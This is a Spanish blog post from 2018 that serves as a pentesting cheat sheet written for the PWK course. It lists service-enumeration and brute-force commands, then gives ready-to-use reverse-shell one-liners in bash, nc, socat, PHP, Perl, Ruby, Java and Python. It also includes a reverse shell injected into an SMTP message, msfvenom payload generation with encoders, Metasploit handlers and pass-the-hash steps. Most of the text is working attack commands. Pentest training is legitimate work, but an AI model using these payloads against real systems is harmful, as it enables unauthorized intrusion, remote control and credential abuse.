19 julio 2018

Hoja de Trucos para Pentester


Me motive a realizar este post a manera de compartir y anotar algunas técnicas que sirven en el momento que uno esta realizando un pentesting

En mi caso, la mayoría de estas técnicas me sirvió de mucho mientras realizaba el curso de Penetration Testing with Kali (PWK)

Cabe mencionar que algunas de esta técnicas también se encuentran en internet y esta es una recolección que he hecho de algunas técnicas muy efectivas

nmap -Pn -v $host
sudo nmap -Pn -v -sC
nmap -Pn -p- $host
nmap -Pn -v -sV --script=banner $host
nmap -Pn -v -sV --script=vulners $host

para ver los scripts de nmap
ls /usr/share/nmap/scripts/

ident-user-enum  $host $puerto $puerto $puerto

nmap -vv -Pn -A -sC -sS -T 4 -p- $host

nc -v -w 1 $host -z 1-1000

herramienta: sparta

whatweb -v http://web

dirb http://web /usr/share/wordlists/dirb/common.txt
dirb http://web /usr/share/wordlists/dirb/big.txt

nikto -C all -h http://web

-- scan puertos UDP

sudo unicornscan -mU -v -I $host
sudo nmap -Pn -sU -p161 $host

---- SERVICIOS

-- dns

dnsenum $host

nmap -p53 --script=dns-zone-transfer ns2.$host

nmap -p53 --script=dns-* ns3.$host

dnsrecon -d $host

nslookup -> set type=any -> $host

dig axfr blah.com @ns1.$host

-- smb

nmblookup -A $host

nmap -Pn -p445 -sV --script=smb-vuln-* $host

nmap -Pn -p445 -sV --script=*smb* $hos

nmap -Pn -p445 -sV --script=smb-enum-shares $host

smbclient //nombreshare/share -I $host -N

rpcclient -U "" $host

enum4linux -A $host

python /usr/share/doc/python-impacket/examples/samrdump.py $host

-- snmp

snmp-check $host -c public

snmpget -v 1 -c public $host

snmpwalk -v 1 -c public $host

snmpbulkwalk -v2c -c public -Cn0 -Cr10 $host

sudo nmap -sU -p 161 --script=*snmp* $host

snmp opciones
public
private
manager

-- rpcbind,nfs

nmap -p111 --script=rpcinfo $host
nmap -sV -p111 --script=nfs-* $host

sudo rpcinfo -p 128.223.1.61
sudo rpcinfo -s host.com

sudo rpcbind -p $host
sudo rpcclient -I $host

mount -t nfs $host:/home/vuln /tmp/local -nolock

sudo showmount -e 128.223.1.61
sudo showmount -a 128.223.1.61

smbmount //$host/c$ /mnt/remote/ -o username=user,password=pass,rw

-- ftp

nmap –script=ftp-anon,ftp-bounce,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221,tftp-enum -p 21

nmap --script=*ftp* --script-args=unsafe=1 -p 20,21

hydra -l nombredeusuario -P listadepasswords.lst ftp://$host

-- smtp

nmap –script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 $host

smtp-user-enum -M VRFY -U users.txt -t $host

telnet $host 25
HELO localhost
MAIL FROM:<test@gmail.com>
RCPT TO: <yona@localhost>
DATA
mkfifo /tmp/xwdn; nc 1.1.1.1 1234 0</tmp/xwdn | /bin/sh >/tmp/xwdn 2>&1; rm /tmp/xwdn
.
QUIT

-- rdp

nmap -sV --script=rdp-vuln-ms12-020 -p 3389 $host

nmap -p 3389 --script rdp-enum-encryption $host

rdesktop $host

hydra  -V -f -l administrator -P wordlist.txt rdp://$host

---- SERVIDOR WEB LOCAL

python2 -m SimpleHTTPServer 8080

python3 -m http.server 8080

ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 8080, :DocumentRoot => Dir.pwd).start"

php -S localhost:8080

descargar en carpeta X

wget http://lhost:8080/exploit.c -O /tmp/exploit.c

---- compilando exploit

-- gcc

gcc -m32 -o output32 hello.c (32 bit)
gcc -m64 -o output hello.c (64 bit)

gcc -Wall -m32 -o output32 hello.c (32 bit)
gcc -Wall -m64 -o output hello.c (64 bit)

-- mingw

apt-get install mingw-w64

ejemplo de uso un un exploit de exploit-db

wget --output-document= 40564.c https://www.exploit-db.com/download/40564

-- compilar en 32 bit para wondows en linux

i686-w64-mingw32-gcc [input file: source]–o [output file: .exe]–lws2_32

i686-w64-mingw32-gcc 40564.c -o exploit.exe -lws2_32

-- pyinstaller

pip install pyinstaller
wget -O exploit.py http://www.exploit-db.com/download/31853
pyinstaller --onefile exploit.py
---- REVERSE SHELL

-- nc

nc rhost 4444 -e /bin/sh

--- socat  # la mejor opción

- atacante
socat file:`tty`,raw,echo=0 tcp-listen:4444

- victima
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:rhost:4444


-- bash

bash -i >& /dev/tcp/rhost/4444 0>&1

0<&196;exec 196<>/dev/tcp/rhost/4444; sh <&196 >&196 2>&196

exec 5<>/dev/tcp/rhost/4444

- escucha

nc -lvp 4444

-- php

php -r '$sock=fsockopen("rhost",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

-- telnet

telnet rhost 4444 | /bin/bash

-- perl

perl -e 'use Socket;$i="rhost";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

- perl windows

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"rhost:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

perl -e 'use Socket;$i="rhost";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

-- ruby

ruby -rsocket -e'f=TCPSocket.open("rhost",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

-- java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/rhost/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

-- python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("rhost",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

---- MEJORAR LA SHELL

python -c 'import pty;pty.spawn("/bin/bash")'

echo os.system('/bin/bash')

/bin/sh -i

/bin/bash -i

bash --init-file /usr/bin/gnome-terminal

screen -S nginxSetup -t mejorpriv

---- PAYLOADS DE METASPLOIT

Para que investigues más, sobre los formatos: msfvenom --list formats

-- php

msfvenom -p php/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f raw > nombre.php

msfvenom -p php/meterpreter_reverse_tcp LHOST=IP LPORT=4444 -f raw > nombre.php

-- asp

msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f asp > nombre.asp

msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f asp > nombre.asp

-- aspx

msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f aspx > nombre.aspx

-- jsp

msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=4444 -f raw > nombre.jsp

-- war

msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=4444 -f war > nombre.war

-- python

msfvenom -p python/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f raw > nombre.py

msfvenom -p cmd/unix/reverse_python LHOST=IP LPORT=4444 -f raw > nombre.py

-- bash

msfvenom -p cmd/unix/reverse_bash LHOST=IP LPORT=4444 -f raw > nombre.sh

-- perl

msfvenom -p cmd/unix/reverse_perl LHOST=IP LPORT=4444 -f raw > nombre.pl

-- android

msfvenom -p  android/meterpreter/reverse_tcp LHOST=IP LPORT=4444 R > nombre.apk

--- shellcode

para verlos todos: msfvenom --list payloads

-- base linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f lenguaje

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f lenguaje

-- base windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f lenguaje

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f lenguaje

-- base mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=IP LPORT=4444 -f lenguaje

msfvenom -p osx/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f lenguaje

-- parametros extras

msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=4444 -f c -a x86 --platform windows -b "\x00\x0a\x0d" -e x86/shikata_ga_nai


--- Handlers

use exploit/multi/handler
set PAYLOAD nombre del Payload
set LHOST IP local
set LPORT puerto local
set ExitOnSession false
set autorunscript 'post/windows/manage/migrate'
exploit -j -z

---- CONEXIÓN DIRECTA

-- pass the hash

use exploit/windows/smb/psexec
set PAYLOAD windows/meterpreter/bind_tcp O set payload windows/meterpreter/reverse_tcp
set LHOST IP local
set LPORT puerto local
set RHOST IP remota
set SMBPass aad3b435b51404eeaad3b435b51404ee:75d00b7431d213583ade7a84ad7e9fdc
set SMBUser Administrador

- también

export SMBHASH=aad3b435b51404eeaad3b435b51404ee:75d00b7431d213583ade7a84ad7e9fdc
pth-winexe -U Administrador% //rhost cmd.exe

-- Para mejorar la shell meterpreter

para session con generic/shell_reverse_tcp

use post/multi/manage/shell_to_meterpreter
con set payloads linux/x64/meterpreter_reverse_tcp

post/multi/manage/shell_to_meterpreter
con set payload windows/x64/meterpreter/reverse_tcp

-- también

exploit/windows/local/payload_inject
con set payload windows/x64/meterpreter/reverse_tcp

Espero que le sirva de mucho.

Saludos

No hay comentarios.:

Publicar un comentario

Las Publicaciones más Vistas

Comandos Drozer Pentest Móvil